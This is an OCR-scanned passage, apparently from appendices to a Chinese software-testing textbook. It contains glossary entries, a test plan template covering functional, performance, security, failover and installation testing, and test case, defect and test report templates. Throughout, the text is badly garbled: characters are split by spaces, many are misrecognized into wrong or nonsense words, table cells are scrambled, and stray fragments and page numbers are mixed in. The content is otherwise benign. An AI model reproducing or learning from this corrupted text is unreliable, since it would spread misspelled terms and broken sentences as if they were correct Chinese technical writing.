通过 提供 客观 证 据 对 特定 的 预期 使 用 或 应 用 要 求 已 得 到 满足 的 认定 ,要 能 保证 所 生产 的 
软件 可 追溯 到 用 户 需 求 的 一 系列 活动 。 

Verification 验证 

即 检验 软件 是 否 已 正确 地 实现 了 产品 规格 书 所 定义 的 系统 功能 和 特性 。 验 证 过 程 提 供 证 
据 表明 软件 相关 产品 与 所 有 生命 周期 活动 的 要 求 ( 如 正确 性 .完整 性 .一致 性 .准确 性 等 ) 相 
一 致 。 

Version 版 本 

某 一 配置 项 的 一 个 可 标识 的 实例 。 

= WW 

White-box Tests 白 盒 测试 

已 知 产品 的 内 部 工作 过 程 (如 计算 机 程序 的 结构 和 请 句 ) ,检验 程序 中 的 变量 状态 .语句 、 
路 径 、 条 件 、 逻 辑 结构 等 是 否 符合 设计 规格 要 求 .或 达到 预定 要 求 的 结果 。 人 参见 结构 测试 。 

Walk-through 走 查 

评审 的 一 种 方式 , 指 由 某 个 设计 /开发 者 通读 已 书写 的 设计 或 编码 ,其 他 成 员 负 责 提出 问 
题 并 对 有 关 技 术 、 风 格 、 可 能 的 错误 、 是 否 违背 开发 标准 的 地 方 等 进行 评论 。 
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附录 B 
测试 计划 模板 


去 项 目 名 称 之 
测试 计划 
修订 历史 记录 
版 本 日 期 AMD 修订 者 说 明 


1.0 XXXX 年 XX 月 XXX 日 


(A 一 添加 ,M 一 修改 ,D 一 删除 ) 
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简介 
目的 


二 项 目 名 称 二 的 这 一 “测试 计划 ”文档 有 助 于 实现 以 下 目标 : 
[确定 现 有 项 目的 信息 和 应 测试 的 软件 构件 。 

列 出 推荐 的 测试 需求 (高 级 需求 ) 。 

推荐 可 采用 的 测试 策略 ,并 对 这 些 策略 加 以 说 明 。 

确定 所 需 的 资源 ,并 对 测试 的 工作 量 进行 估计 。 

列 出 测试 项 目的 可 交付 元 素 ] 


背景 


人 
… 427 
… 428 
容量 测试 
安 夺 性 和 话 问 控制 油 戈 2 na 
故障 转移 和 恢复 测试 
SE 
元 向 题 江 重 度 捕 于 een 
8. 与 测试 有 关 的 任务 ese 


427 


428 
429 
430 
431 
431 
432 
432 


[对 测试 对 象 (构件 .应 用 程序 .系统 等 ) 及 其 目标 进行 简要 说 明 。 需 要 包括 的 信息 有 : 主要 
的 功能 和 性 能 、 测 试 对 象 的 构架 以 及 项 目的 简 史 。] 


范围 


[描述 测试 的 各 个 阶段 (例如 ,单元 测试 .集成 测试 或 系统 测试 ) ,并 说 明 本 计划 所 针对 的 测 
试 类 型 (如 功能 测试 或 性 能 测试 ) 。 


简要 地 列 出 测试 对 象 中 将 接受 测试 或 将 不 接受 测试 的 那些 性 能 和 功能 。 


如 果 在 编写 此 文档 的 过 程 中 做 出 的 某 些 假设 可 能 会 影响 测试 设计 、 开 发 或 实施 , 则 列 出 所 
有 这 些 假设 。 


列 出 可 能 会 影响 测试 设计 、 开 发 或 实施 的 所 有 约束 、 风 险 或 意外 事件 。] 
测试 参考 文档 和 测试 提交 文档 
测试 参考 文档 


下 表 列 出 了 制定 测试 计划 时 所 使 用 的 文档 ,并 标明 了 各 文档 的 可 用 性 。 
[ 注 : 可 适当 地 删除 或 添加 文档 项 。] 


本 已 创建 或 可 用 | 已 被 接收 或 已 经 过 复审 “| 作者 或 来 源 | ”备注 
软件 需求 定义 是 口 知 是 口 理 
软件 系统 分 析 是 口 天 是 口 否 
软件 概要 设计 是 口 天 是 口 否 
软件 详细 设计 是 口 否 是 口 否 
软件 测试 需求 是 口 天 是 口 否 
硬件 需求 定义 是 口 知 是 口 香 
硬件 结构 设计 (包含 PCB) | ”是 口 于 是 口 否 
硬件 测试 需求 是 口 知 是 口 和 理 
USB 驱动 设计 是 口 否 是 口 香 
模块 开发 手册 是 口 于 是 口 否 
系统 集成 方案 是 口 知 是 口 香 
测试 方案 是 口 于 是 口 天 
用 户 操作 手册 是 口 天 是 口 天 
安装 指南 是 口 天 是 口 天 口 
2.2 测试 提交 文档 
[下 面 应 当 列 出 在 测试 阶段 结束 后 ,所 有 可 提交 的 文档 ,] 
3. 测试 进度 
测试 活动 计划 开始 日 期 实际 开始 日 期 结束 日 其 
制定 测试 计划 
设计 测试 
集成 测试 
系统 测试 
性 能 测试 
安装 测试 
用 户 验 收 测试 
对 测试 进行 评估 
产品 发 布 
4. 测试 资源 
4.1 人 力 资源 


下 表 列 出 了 在 此 项 目的 人 员 配 备 方面 所 做 的 各 种 假定 。 


[ 注 : 可 适当 地 删除 或 添加 角色 项 。] 


角色 所 推荐 的 最 少 资源 (所 分 配 的 专职 角色 数量 ) 具体 职责 或 注释 


4.2 测试 环境 
下 表 列 出 了 测试 的 系统 环境 。 


软件 环境 (相关 软件 ,操作 系统 等 ) 


硬件 环境 (网 络 ,设备 等 ) 


4.3 测试 工具 
此 项 目 将 列 出 测试 使 用 的 工具 。 
用 途 工具 生产 厂商 / 自 产 版 本 


5. 系统 风险 、 优 先 级 

[简要 描述 测试 阶段 的 风险 和 处 理 的 优先 级 。] 
6. 测试 策略 

[测试 策略 提供 了 对 测试 对 象 进行 测试 的 推荐 方法 。 对 于 每 种 测试 ,都 应 提供 测试 说 明 ， 
并 解释 其 实施 的 原因 。 

制定 测试 策略 时 所 考虑 的 主要 事项 有 : 将 要 使 用 的 技术 以 及 判断 测试 何 时 完成 的 标准 。 

下 面 列 出 了 在 进行 每 项 测试 时 需 考虑 的 事项 , 除 此 之 外 ,测试 还 只 应 在 安全 的 环境 中 使 
已 知 的 有 控制 的 数据 库 来 执行 。] 

注意 : 不 实施 某 种 测试 , 则 应 该 用 一 名 话 加 以 说 明 , 并 陈述 这 样 的 理由 。 例 如 ,“ 将 不 实施 
该 测试 。 该 测试 本 项 目 不 适 用 ”。 


6.1 数据 和 数据 库 完整 性 测试 


[在 志 项 目 名称 盖 中 ,数据 库 和 数据 库 进 程 应 作为 一 个 子 系统 来 进行 测试 。 在 测试 这 些 子 
系统 时 ,不 应 将 测试 对 象 的 用 户 界面 用 作 数 据 的 接口 。 对 于 数据 库 管理 系统 (DBMS) ,还 需要 
进行 深入 的 研究 ,以 确定 可 以 支持 以 下 测试 的 工具 和 技术 。] 


测试 目标 [两 保 数据 库 访问 方法 和 更 很 正常 运行 ,数据 不 会 这 到 损 环 ] 

测试 范围 ， 
[调用 各 不 数据 库 访问 方法 和 迁 程 ,并 在 其 中 贰 充 有 效 的 和 无 效 的 数据 (或 对 数据 

2 的 请 求 )。 

: 检查 数据 库 ,确保 数据 已 按 预 其 的 方式 填充 ,并 且 所 有 的 数据 库 事件 已 正常 发 生 ; 

或 者 检查 所 返回 的 数据 ,确保 正当 的 理由 检索 到 了 正确 的 数据 ] 

开始 标准 : 

完成 标准 ; [所 有 的 歼 据 库 访问 方法 和 过 各 部 接 晴 设 计 的 方式 运行 , 获 据 没有 道 到 扳 坏 ] 

测试 重点 和 优 殉 级 。 
[测试 可 能 需要 DBMS 开发 环境 或 对 动 程序 在 数据 库 中 直接 输入 或 修改 数 据 。 
进程 应 该 以 手工 方式 调用 。 

需 考虑 的 特殊 事项 。 | 应 使 用 小 型 或 最 小 的 数据 库 (记录 的 数量 有 限 ) 来 使 所 有 无 法 接受 的 事件 具有 更 大 
的 可 视 度 ] 

6.2 接口 测试 

司 试 目标 。 坝 保 接口 调用 的 正 而 性 

测试 范围 所 有 软件 .硬件 接口 ,记录 输入 输出 数据 

技术 ， 

开始 标准 ， 

完成 标准 : 

测试 重点 和 优先 级 

需 考虑 的 特殊 事项 接口 的 限制 共 件 

6.3 集成 测试 


[集成 测试 主要 目的 是 检测 系统 是 否 达到 需求 ,对 业务 流程 及 数据 流 的 处 理 是 否 符合 标 
准 ,检测 系统 对 业务 流 处 理 是 否 存在 逻辑 不 严谨 及 错误 ,检测 需求 是 否 存在 不 合理 的 标准 及 要 
求 。 此 阶段 测试 基于 功能 完成 的 测试 。] 


测试 目标 : 检测 需求 中 业务 流程 ,数据 流 的 正确 性 
测试 范围 : 需求 中 明确 的 业务 流程 ,或 组 合 不 同 功能 模块 而 形成 一 个 大 的 功能 
[利用 有 效 的 和 无 效 的 数据 来 执行 各 个 用 例 、 用 例 流 或 功能 ,以 核实 以 下 内 容 : 
技术 ， 在 使 用 有 效 数据 时 得 到 预期 的 结果 。 
- 在 使 用 无 效 数据 时 显示 相应 的 错误 消息 或 警告 消息 。 
各 业务 规则 都 得 到 了 正确 的 应 用 ] 
开始 标准 : 在 完成 某 个 集成 测试 时 必须 达到 标准 
完成 标准 ， [所 计划 的 测试 已 全 部 执行 。 
所 发 现 的 缺陷 已 全 部 解决 ] 
测试 重点 和 优先 级 : | 测试 重点 指 在 测试 过 程 中 需 着 重 测试 的 地 方 , 优 先 级 可 以 根据 需求 及 严重 性 来 定 
需 考虑 的 特殊 事项 ， ee 
6.4 功能 测试 


[对 测试 对 象 的 功能 测试 应 侧重 于 所 有 可 直接 追踪 到 用 例 或 业务 功能 和 业务 规则 的 测试 
需求 。 这 种 测试 的 目标 是 核实 数据 的 接受 .处理 和 检索 是 否 正确 ,以 及 业务 规则 的 实施 是 否 恰 


当 。 此 类 测试 基于 黑 盒 技术 ,该 技术 通过 图 形 用 户 界面 (GUI) 与 应 用 程序 进行 交互 ,并 对 交互 
的 输出 或 结果 进行 分 析 , 以 此 来 核实 应 用 程序 及 其 内 部 进程 。 以 下 为 各 种 应 用 程序 列 出 了 推 


荐 使 用 的 测试 概要 。] 
测试 目标 : [确保 测试 的 功能 正常 ,其 中 包括 导航 ,数据 输入 、 处 理 和 检索 等 功能 ] 
测试 范围 : 

[利用 有 效 的 和 无 效 的 数据 来 执行 各 个 用 例 .用例 流 或 功能 ,以 核实 以 下 内 容 
对 让， 在 使 用 有 效 数据 时 得 到 预期 的 结果 。 

在 使 用 无 效 数据 时 显示 相应 的 错误 消息 或 警告 消息 。 

各 业务 规则 都 得 到 了 正确 的 应 用 ] 
开始 标准 ， 
完成 标准 ， 
测试 重点 和 优先 级 ; 

i a 

pe pct 
6.5 用 户 界面 测试 


[用 户 界面 (UD 测试 用 于 核实 用 户 与 软件 之 间 的 交互 。UI 测试 的 目标 是 确保 用 户 界面 
会 通过 测试 对 象 的 功能 来 为 用 户 提供 相应 的 访问 或 浏览 功能 。 另 外 ,UI 测试 还 可 确保 UI 中 
的 对 象 按照 预期 的 方式 运行 ,并 符合 公司 或 行业 的 标准 。] 


[核实 以 下 内 容 : 
通过 测试 进行 的 浏览 可 正确 反映 业务 的 功能 和 需求 ,这 种 浏览 包括 窗口 与 窗口 之 


A 间 、 字 段 与 字段 之 间 的 浏览 ,以 及 各 种 访问 方法 (Tab 键 \ 鼠 标 移动 和 快捷 键 ) 的 使 用 
窗口 的 对 象 和 特征 (例如 ,菜单 大小、 位 置 ,状态 和 中 心 ) 都 符合 标准 ] 

测试 范围 : 

技术 ， [为 每 个 窗口 创建 或 修改 测试 ,以 核实 各 个 应 用 程序 窗口 和 对 象 都 可 正确 地 进行 济 
览 , 并 处 于 正常 的 对 象 状 态 ] 

开始 标准 : 

完成 标准 : [成 功 地 核实 出 各 个 窗口 都 与 基准 版 本 保持 一 致 ,或 符合 可 接受 标准 ] 

测试 重点 和 优先 级 : 

需 考虑 的 特殊 事项 : | [并 不 是 所 有 定制 或 第 三 方 对 象 的 特征 都 可 访问 ] 

6.6 性 能 评测 


[性 能 评测 是 一 种 性 能 测试 , 它 对 响应 时 间 、 事 务 处 理 速率 和 其 他 与 时 间 相关 的 需求 进 
行 评测 和 评估 。 性 能 评测 的 目标 是 核实 性 能 需求 是 否 都 已 满足 。 实 施 和 执行 性 能 评测 的 
目的 是 将 测试 对 象 的 性 能 行为 当 作 条 件 ( 例 如 工作 量 或 硬件 配置 ) 的 一 种 函数 来 进行 评测 


注 : 以 下 所 说 的 事务 是 指 “ 逻 辑 业 务 事务 ”。 这 种 事务 被 定义 为 将 由 系统 的 某 个 Actor 通 
过 使 用 测试 对 象 来 执行 的 特定 用 例 ,添加 或 修改 给 定 的 合同 。] 


[核实 所 指定 的 事务 或 业务 功能 在 以 下 情况 下 的 性 能 行为 : 


正常 的 预期 工作 量 、 预 期 的 最 繁重 工作 量 ] 

测试 范围 : 
[使 用 为 功能 或 业务 周期 测试 制定 的 测试 过 程 。 

通过 修改 数据 文件 来 增加 事务 数量 ,或 通过 修改 脚本 来 增加 每 项 事务 的 迭代 数量 
脚本 应 该 在 一 台 计算 机 上 运行 (最 好 是 以 单个 用 户 、. 单 个 事务 为 基准 ) ,并 在 多 个 客 
户 机 (虚拟 的 或 实际 的 客户 机 ,请 参见 下 面 的 “ 需 考虑 的 特殊 事项 ") 上 重复 ] 

开始 标准 
[单个 事务 或 单个 用 户 : 在 每 个 事务 所 预期 时 间 范 围 内 成 功 地 完成 测试 脚本 ,没有 

Ee 发 生 任何 故障 。] 
[多 个 事务 或 多 个 用 户 : 在 可 接受 的 时 间 范 围 内 成 功 地 完成 测试 脚本 ,没有 发 生 任 
何故 障 ] 

测试 重点 和 优先 级 : 
[综合 的 性 能 测试 还 包括 在 服务 器 上 添加 后 台 工作 量 。 
可 采用 多 种 方法 来 执行 此 操作 ,其 中 包括 : 
直接 将 “事务 强行 分 配 到 ”服务 器 上 ,这 通常 以 “结构 化 语言 "(SQL) 调 用 的 形式 来 
实现 。 

需 考虑 的 特殊 事项 ， | 通过 创建 "虚拟 的 用 户 负载 来 模拟 数 百 上 千 个 客户 机 。 此 负载 可 通过 * 远 程 终端 仿 
真 (Remote Terminal Emulation) 工 具 来 实现 。 此 技术 还 可 用 于 在 网 络 中 加 载 “ 流 量 ”。 
使 用 多 台 实 际 客户 机 (每 台 客户 机 都 运行 测试 脚本 ) 在 系统 上 添加 负载 。 
性 能 测试 所 用 的 数据 库 应 该 是 实际 大 小 或 相同 缩放 比例 的 数据 库 ] 

6.7 容量 测试 


[容量 测试 使 测试 对 象 处 理 大 量 的 数据 ,以 确定 是 否 达到 了 将 使 软件 发 生 故 障 的 极限 。 容 
量 测试 还 将 确定 测试 对 象 在 给 定时 间 内 能 够 持续 处 理 的 最 大 负载 或 工作 量 。 例 如 ,如 果 测 试 
对 象 正在 为 生成 一 份 报表 而 处 理 一 组 数据 库 记录 ,那么 容量 测试 就 会 使 用 一 个 大 型 的 测试 数 
据 库 。 检 验 该 软件 是 否 正常 运行 并 生成 了 正确 的 报表 。] 


[核实 测试 对 象 在 以 下 高 容量 条 件 下 能 否 正常 运行 : 
连接 或 模拟 了 最 大 (实际 或 实际 允许 ) 数 量 的 客户 机 ,所 有 客户 机 在 长 时 间 内 执行 


测试 目标 : 相同 的 、 且 情况 (性 能 ) 最 坏 的 业务 功能 。 
已 达到 最 大 的 数据 库 大 小 (实际 的 或 按 比例 缩放 的 ), 而 且 同时 执行 多 个 查询 或 报 
表 事 务 ] 
测试 范围 : 
[使 用 为 性 能 评测 或 负载 测试 制定 的 测试 。 
应 该 使 用 多 台 客户 机 来 运行 相同 的 测试 或 互补 的 测试 ,以 便 在 长 时 间 内 产生 最 繁 
技术 ， 重 的 事务 量 或 最 差 的 事务 组 合 ( 请 参见 上 面 的 “强度 测试 ”) 
创建 最 大 的 数据 库 大 小 (实际 的 、 按 比例 缩放 的 或 填充 了 代表 性 数据 的 数据 库 ) ,并 
使 用 多 台 客 户 机 在 长 时 间 内 同时 运行 查询 和 报表 事务 ] 
开始 标准 : 
曙 [所 计划 的 测试 已 全 部 执行 ,而 且 达 到 或 超出 指定 的 系统 限制 时 没有 出 现任 何 软件 
完成 标准 : 
故障 ] 
测试 重点 和 优先 级 : 


需 考虑 的 特殊 事项 ; 


[对 于 上 述 的 高 容量 条 件 ,哪个 时 间 段 是 可 以 接受 的 时 间 ] 


6.8 安全 性 和 访问 控制 测试 


[安全 性 和 访问 控制 测试 侧重 于 安全 性 的 两 个 关键 方面 : 
应 用 程序 级 别 的 安全 性 ,包括 对 数据 或 业务 功能 的 访问 。 

系统 级 别 的 安全 性 ,包括 对 系统 的 登录 或 远程 访问 。 

应 用 程序 级 别 的 安全 性 可 确保 : 在 预期 的 安全 性 情况 下 ,Actor 只 能 访问 特定 的 功能 或 
例 , 或 者 只 能 访问 有 限 的 数据 。 例 如 ,可 能 会 允许 所 有 人 输入 数据 ,创建 新 账户 ,但 只 有 管理 员 
才能 删除 这 些 数据 或 账户 。 如 果 具 有 数据 级 别 的 安全 性 ,测试 就 可 确保 “用 户 类 型 一 ”能够 看 
到 所 有 客户 消息 (包括 财务 数据 ) ,而 “用 户 类 型 二 ”只 看 见 同一 客户 的 统计 数据 。 

系统 级 别 的 安全 性 可 确保 只 有 有 具备 系统 访问 权限 的 用 户 才能 访问 应 用 程序 ,而 且 只 能 通 
过 相应 的 网 关 来 访问 。] 


应 用 程序 级 别 的 安全 性 : [核实 Actor 只 能 访问 其 所 属 用 户 类 型 已 被 授权 访问 的 那 
测试 目标 些 功 能 或 数据 。] 
系统 级 别 的 安全 性 : [核实 只 有 具备 系统 和 应 用 程序 访问 权限 的 Actor 才能 访问 系 
统 和 应 用 程序 ] 
测试 范围 : 
应 用 程序 级 别 的 安全 性 : [确定 并 列 出 各 用 户 类 型 及 其 被 授权 访问 的 功能 或 数据 。] 
[为 各 用 户 类 型 创建 测试 ,并 通过 创建 各 用 户 类 型 所 特有 的 事务 来 核实 其 权限 。] 
技术 ， 修改 用 户 类 型 并 为 相同 的 用 户 重新 运行 测试 。 对 于 每 种 用 户 类 型 ,确保 正确 地 提 
供 或 拒绝 了 这 些 附 加 的 功能 或 数据 。 
系统 级 别 的 访问 : [请 参见 以 下 的 “ 需 考虑 的 特殊 事项 ”] 
开始 标准 : 
完成 标准 ， [各 种 已 知 的 Actor 类 型 都 可 访问 相应 的 功能 或 数据 ,而 且 所 有 事务 都 按照 预期 的 
方式 运行 ,并 在 先前 的 应 用 程序 功能 测试 中 运行 了 所 有 的 事务 ] 
测试 重点 和 优先 级 : 
需 考虑 的 特殊 事项 [必须 与 相应 的 网 络 或 系统 管理 员 一 起 对 系统 访问 权 进行 检查 和 讨论 。 由 于 此 测 
试 可 能 是 网 络 管理 可 系统 管理 的 职能 ,可 能 会 不 需要 执行 此 测试 ] 


6.9 故障 转移 和 恢复 测试 


[故障 转移 和 恢复 测试 可 确保 测试 对 象 能 成 功 完成 转移 ,并 能 从 导致 意外 数据 损失 或 数据 
完整 性 破坏 的 各 种 硬件 .软件 和 网 络 故障 中 恢复 。 

故障 转移 测试 可 确保 : 对 于 必须 持续 运行 的 系统 ,一 旦 发 生 故 障 , 备 用 系统 就 将 不 失 时 机 
地 “顶替 ”发 生 故 障 的 系统 ,以 避免 丢失 任何 数据 或 事务 。 

恢复 测试 是 一 种 对 抗 性 的 测试 过 程 。 在 这 种 测试 中 ,将 把 应 用 程序 或 系统 置 于 极端 的 条 
件 下 (或 者 是 模拟 的 极端 条 件 下 ) ,以 产生 故障 (例如 设备 输入 /输出 (1/O) 故 障 或 无 效 的 数据 
库 指针 和 关键 字 )。 然 后 调用 恢复 进程 并 监测 和 检查 应 用 程序 和 系统 ,核实 应 用 程序 或 系统 和 
数据 已 得 到 了 正确 的 恢复 。] 


[确保 恢复 进程 (手工 或 自动 ) 将 数据 库 、 应 用 程序 和 系统 正确 地 恢复 到 预期 的 已 知 
状态 。 测 试 中 将 包括 以 下 各 种 情况 : 


I 客户 机 断 电 、 服 务 器 断 电 、 通 过 网 络 服务 器 产生 的 通信 中 上 断 、 
数据 库 指针 或 关键 字 无 效 ,数据库 中 的 数据 元 素 无 效 或 遭 到 破坏 ] 
测试 范围 : 
[应 该 使 用 为 功能 和 业务 周期 测试 创建 的 测试 来 创建 一 系列 的 事务 。 一 旦 达到 预 
期 的 测试 起 点 ,就 应 该 分 别 执行 或 模拟 以 下 操作 。 
(1) 客户 机 断 电 : 关闭 PC 的 电源 。 
(2) 服务 器 断 电 : 模拟 或 启动 服务 器 的 断 电 过 程 。 
(3) 通过 网 络 服务 器 产生 的 中 断 : 模拟 或 启动 网 络 的 通信 中 断 (实际 断 开 通信 线路 
的 连接 或 关闭 网 络 服务 器 或 路 由 器 的 电源 ) 。 
二 (4) 一 旦 实现 了 上 述 情况 (或 模拟 情况 ) ,就 应 该 执行 其 他 事务 。 而 且 一 旦 达到 第 二 
个 测试 点 状态 ,就 应 调用 恢复 过 程 。 
(5) 在 测试 不 完整 的 周期 时 ,所 使 用 的 技术 与 上 述 技术 相同 ,只 不 过 应 异常 终止 或 
提前 终止 数据 库 进程 本 身 。 
(6) 对 以 下 情况 的 测试 需要 达到 一 个 已 知 的 数据 库 状 态 。 当 破坏 若干 个 数据 库 字 
段 .指针 和 关键 字 时 ,应 该 以 手工 方式 在 数据 库 中 (通过 数据 库 工具 ) 直 接 进行 。 
其 他 事务 应 该 通过 使 用 “应 用 程序 功能 测试 "和 “业务 周期 测试 "中 的 测试 来 执 
行 ,并 且 应 执行 完整 的 周期 ] 
开始 标准 : 
[在 所 有 上 述 情况 中 ,应 用 程序 数据 库 和 系统 应 该 在 恢复 过 程 完成 时 立即 返回 到 
完成 标准 : 一 个 已 知 的 预期 状态 。 此 状态 包括 仅 限于 已 知 损坏 的 字段 、 指 针 或 关键 字 范围 内 
的 数据 损坏 ,以 及 表明 进程 或 事务 因 中 断面 未 被 完成 的 报表 ] 
测试 重点 和 优先 级 ， 
(1) [恢复 测试 会 给 其 他 操作 带 来 许多 的 麻烦 。 断 开 费 线 连接 的 方法 (模拟 断 电 或 
通信 中 断 ) 可 能 并 不 可 取 或 不 可 行 。 所 以 ,可 能 会 需要 采用 其 他 方法 ,例如 诊断 
需 考虑 的 特殊 事项 ， 性 软件 工具 。 
(2) 需要 系统 (或 计算 机 操作 )、 数 据 库 和 网 络 组 中 的 资源 。 
(3) 这 些 测试 应 该 在 工作 时 间 之 外 或 在 一 台独 立 的 计算 机 上 运行 ] 
6.10 配置 测试 


[配置 测试 核实 测试 对 象 在 不 同 的 软件 和 硬件 配置 中 的 运行 情况 。 在 大 多 数 生产 环境 中 ， 
客户 机 工作 站 、 网 络 连接 和 数据 库 服务 器 的 具体 硬件 规格 会 有 所 不 同 。 客 户 机 工作 站 可 能 会 
安装 不 同 的 软件 ,例如 ,应 用 程序 .驱动 程序 等 ,而 且 在 任何 时 候 ,都 可 能 运行 许多 不 同 的 软件 
组 合 ,从 而 占用 不 同 的 资源 。] 


测试 目标 : [核实 测试 可 在 所 需 的 硬件 和 软件 配置 中 正常 运行 ] 
测试 范围 : 

[LQ) 使 用 功能 测试 脚本 。 

(2) 在 测试 过 程 中 或 在 测试 开始 之 前 ,打开 各 种 与 非 测试 对 象 相关 的 软件 (例如 
技术 : Microsoft 应 用 程序 Excel 和 Word) ,然后 将 其 关闭 。 


(3) 执行 所 选 的 事务 ,以 模拟 Actor 与 测试 对 象 软件 和 非 测试 对 象 软件 之 间 的 交互 。 
(4) 重复 上 述 步骤 ,尽量 减少 客户 机 工作 站 上 的 常规 可 用 内 存 ] 


开始 标准 : 


续 表 
a [对 于 测试 对 象 软件 和 非 测试 对 象 软件 的 各 种 组 合 ,所 有 事务 都 成 功 完成 ,没有 出 
现任 何故 障 ] 

测试 重点 和 优先 级 


[Q) 需要 、 可 以 使 用 并 可 以 通过 桌面 访问 哪 种 非 测试 对 象 软件 ? 
(2) 通常 使 用 的 是 哪些 应 用 程序 ? 
需 考 虑 的 特殊 事项 : | (3) 应 用 程序 正在 运行 什么 数据 ? 例如 ,在 Excel 中 打开 的 大 型 电子 表格 ,或 是 在 
Word 中 打开 的 1000 页 文档 。 
作为 此 测试 的 一 部 分 ,应 将 整修 系统 、 网 络 服 务 器 ,数据库 等 都 记录 下 来 ] 


6.11 安装 测试 


[安装 测试 有 两 个 目的 。 第 一 个 目的 是 确保 该 软件 在 正常 情况 和 异常 情况 的 不 同 条 件 下 ， 
例如 ,进行 首次 安装 、 升 级 、 完 整 的 或 自 定义 的 安装 ,都 能 进行 安装 。 异 常情 况 包 括 磁盘 空间 不 
足 、 缺 少 目录 创建 权限 等 。 第 二 个 目的 是 核实 软件 在 安装 后 可 立即 正常 运行 。 这 通常 是 指 运 
行 大量 为 功能 测试 制定 的 测试 ,J 


核实 在 以 下 情况 下 ,测试 对 象 可 正确 地 安装 到 各 种 所 需 的 硬件 配置 中 : 
(1) 首次 安装 。 以 前 从 未 安装 过 一 项 目 名 称 二 的 新 计算 机 。 
(2) 更 新 。 以 前 安装 过 相同 版 本 的 二 项 目 名 称 二 的 计算 机 。 
(3) 更 新 。 以 前 安装 过 << 项 目 名 称 之 的 较 早 版 本 的 计算 机 


测试 目标 : 


测试 范围 : 


[手工 开发 脚本 或 开发 自动 脚本 ,以 验证 目标 计算 机 的 
技术 : 启动 或 执行 安装 。 
使 用 预先 确定 的 功能 测试 脚本 子 集 来 运行 事务 ] 


开始 标准 : 
完成 标准 ， 三 项 目 名 称 沁 事务 成 功 执行 ,没有 出 现任 何故 障 
测试 重点 和 优先 级 ， 
[应 该 选择 一 项 目 名 称 > 的 哪些 事务 才能 准确 地 测试 出 二 项 目 名 称 > 应 用 程序 已 
需 考虑 的 特殊 事项 ， | 经 成 功 安装 ,而 且 没有 遗 沁 主 要 的 软件 构件 ] 
7. 问题 严重 度 描述 
问题 严重 度 描述 响应 时 间 

高 例如 使 系统 崩溃 程序 员 在 多 长 时 间 内 改正 此 问题 

中 

低 


8. 与 测试 有 关 的 任务 


(1) 制定 测试 计划 。 

J@ 确定 测试 需求 .评估 风险 、 制 定 测试 策略 。 
@ 确定 测试 资源 、 创 建 时 间 表 、 生 成 测试 计划 。 
(2) 设计 测试 。 


@ 确定 并 说 明 测试 用 例 。 

@ 确定 测试 过 程 , 并 建立 测试 过 程 的 结构 。 

(3) 复审 和 评估 测试 覆盖 。 

(4) 实施 测试 。 

Q@ 记录 或 通过 编程 创建 测试 脚本 。 

@ 确定 设计 与 实施 模型 中 的 测试 专用 功能 。 

@ 建立 外 部 数据 集 。 

(5) 执行 测试 。 

(6) 执行 测试 过 程 , 评 估 测 试 的 执行 情况 .评估 测试 用 例 覆 盖 、 评 估 代 码 覆 盖 。 
(7) 核实 结果 .调查 意外 结果 。 

(8) 记录 缺陷 、 分 析 缺 陷 。 

(9) 确定 是 否 达 到 了 测试 完成 标准 与 成 功 标准 。 


APPENDIX C 


附录 C 


测试 用 例 设 计 模 板 


C.1 国家 标准 GB/T 15532 一 2008 


用 例 名 称 用 例 标识 
测试 追踪 
用 例 说 明 

硬件 配置 


用 例 的 软件 配置 
初始 化 测试 配置 
参数 配置 


操作 过 程 
序号 输入 及 操作 说 明 | 期 望 的 测试 结果 | ”评价 标准 备注 


前 提 和 约束 
过 程 终止 条 件 
结果 评价 标准 
设计 人 员 设计 日 期 


C.2 简单 的 功能 测试 用 例 模板 (表格 形式 ) 


标识 码 用 例 名 称 
优先 级 高 /中 / 低 父 用 例 执行 时 间 估计 | ”分 钟 
前 提 条 件 
基本 操作 步骤 
输入 /动作 期 望 的 结果 备注 
示例 : 典型 正常 值 … 
示例 : 边界 值 … 
示例 : 异常 值 … 


C.3 功能 测试 用 例 模 板 ( 文 字形 式 ) 


ID: (测试 用 例 唯 一 标识 名 ) 

用 例 名 称 : (概括 性 说 明 测 试 的 目的 ,作用 ) 
测试 项 : (测试 哪个 功能 或 功能 点 ) 
环境 要 求 : 

参考 文档 : (基于 哪个 需求 规格 说 明 书 ) 
优先 级 : 高 /中 / 低 

父 用 例 : (有 父 用 例 , 填 其 ID; 没有, 填 0) 
输入 数据 或 前 提 : (事先 设置 数据 示例 ) 
具体 步骤 描述 : (一 步 一步 地 描述 清楚 ) 


标识 码 优先 级 高 /中 / 低 执行 时 间 估 计 分 钟 


负载 模式 和 负载 量 期 望 达到 的 性 能 指标 备注 
10 个 用 户 并 发 操作 
50 个 用 户 并 发 操作 


APPENDIX D 


附录 D 


软件 缺陷 模板 


D.1 国家 标准 GB/T 15532 一 2008 


缺陷 ID 项 目 名 称 程序 /文档 名 
发 现 日 其 报告 日 其 报告 人 
问题 | 类 别 | 程序 问题 口 | 文档 问题 口 | 设计 问题 口 其 他 问题 
性 质 | 级 别 | 1 级 口 2 级 3 级 4 级 5 级 
问题 追踪 
问题 描述 /影响 分 析 
附注 及 其 修改 意见 
(a 
D.2 规范 .专业 的 缺陷 模板 
缺陷 ID | (自动 产生 ) | 缺陷 名 称 
项 目 号 模块 
功能 特性 / 
ES 功能 点 > 
产品 配置 规格 说 明 书 关联 的 测试 
识别 码 文档 号 用 例 
hs 严重 性 1 罚 优先 级 P1 
本 号 
报告 者 分 配给 抄 送 


续 表 
缺陷 ID (自动 产生 ) 缺陷 名 称 
发 生 频 率 [网 
(1 一 100%%) Wi 二 aa 
现象 。 | CEB | Tse( 主 题记 ) 
操作 步骤 
期 望 结 果 
实际 结果 
附件 : 


APPENDIX E 


附录 E 


测试 报告 模板 


1 引言 (概述 ) 


1.1 编写 目的 

说 明 这 份 测试 分 析 报 告 的 具体 编写 目的 ,指出 预期 的 阅读 范 
围 。 如 ， 

(1) 通过 对 测试 结果 的 分 析 得 到 对 软件 的 评价 ; 

(2) 为 纠正 软件 缺陷 提供 依据 ; 

(3) 使 用 户 对 系统 运行 建立 信心 。 
1.2 背景 

对 被 测试 对 象 进 行 简单 介绍 .说 明 ,如 ， 

(1) 被 测试 软件 系统 的 名 称 ; 

(2) 该 软件 的 任务 提出 者 .开发 者 ,用户 ,指出 测试 环境 与 实际 运行 
环境 之 间 可 能 存在 的 差异 以 及 这 些 差异 对 测试 结果 的 影响 。 
1.3 定义 

列 出 本 文件 中 用 到 的 或 所 涉及 的 专业 术语 、 缩 写 词 的 定义 。 
1.4 参考 资料 

说 明 软 件 测试 所 需 的 资料 (需求 分 析 、 设 计 规 范 等 ), 列 出 要 用 到 的 
参考 资料 ,如 : 

